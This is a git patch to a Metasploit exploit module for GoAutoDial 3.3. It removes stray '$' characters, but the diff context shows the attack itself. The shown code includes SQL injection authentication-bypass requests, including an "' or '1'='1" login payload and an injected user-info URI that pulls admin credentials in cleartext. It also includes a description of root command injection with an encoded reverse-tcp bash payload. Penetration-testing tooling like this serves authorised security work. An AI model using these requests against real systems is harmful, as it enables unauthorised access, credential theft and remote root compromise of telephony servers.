From 8eb59eac3f1060bb74ab33d7f5fbb7acfc67716a Mon Sep 17 00:00:00 2001 From: mccurls Date: Sat, 17 Jun 2017 08:03:09 +1000 Subject: [PATCH] Stuffed up regex.. left some random $ characters floating around and have now removed them. --- .../http/goautodial_3_rce_command_injection.rb | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb b/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb index 37052de0a3..8ce12b0c7d 100644 --- a/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb +++ b/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb @@ -12,8 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "GoAutoDial 3.3 Authentication Bypass", 'Description' => %q{ - This module exploits a SQL injection flaw in the login functionality -for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately. + This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately. }, 'License' => MSF_LICENSE, 'Author' => @@ -50,7 +49,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command return Exploit::CheckCode::Vulnerable end end - $ + def check_version() send_request_cgi({ 'method' => 'GET', @@ -67,12 +66,12 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command send_request_cgi({ 'method' => 'POST', 'uri' => "/index.php/go_login/validate_credentials", - 'headers' =>$ + 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' }, - 'vars_post' =>$ + 'vars_post' => { 'user_name' => 'admin', 'user_pass' => "' or '1'='1" @@ -85,7 +84,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command send_request_cgi({ 'method' => 'GET', 'uri' => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y", - 'headers' =>$ + 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity', @@ -107,7 +106,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command 'Accept-Encoding' => 'identity', 'Cookie' => cookies } - })$ + }) end # @@ -119,7 +118,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command if res1 && res1.code == 200 print_good("Authentication Bypass (SQLi) was successful") - else$ + else print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed") end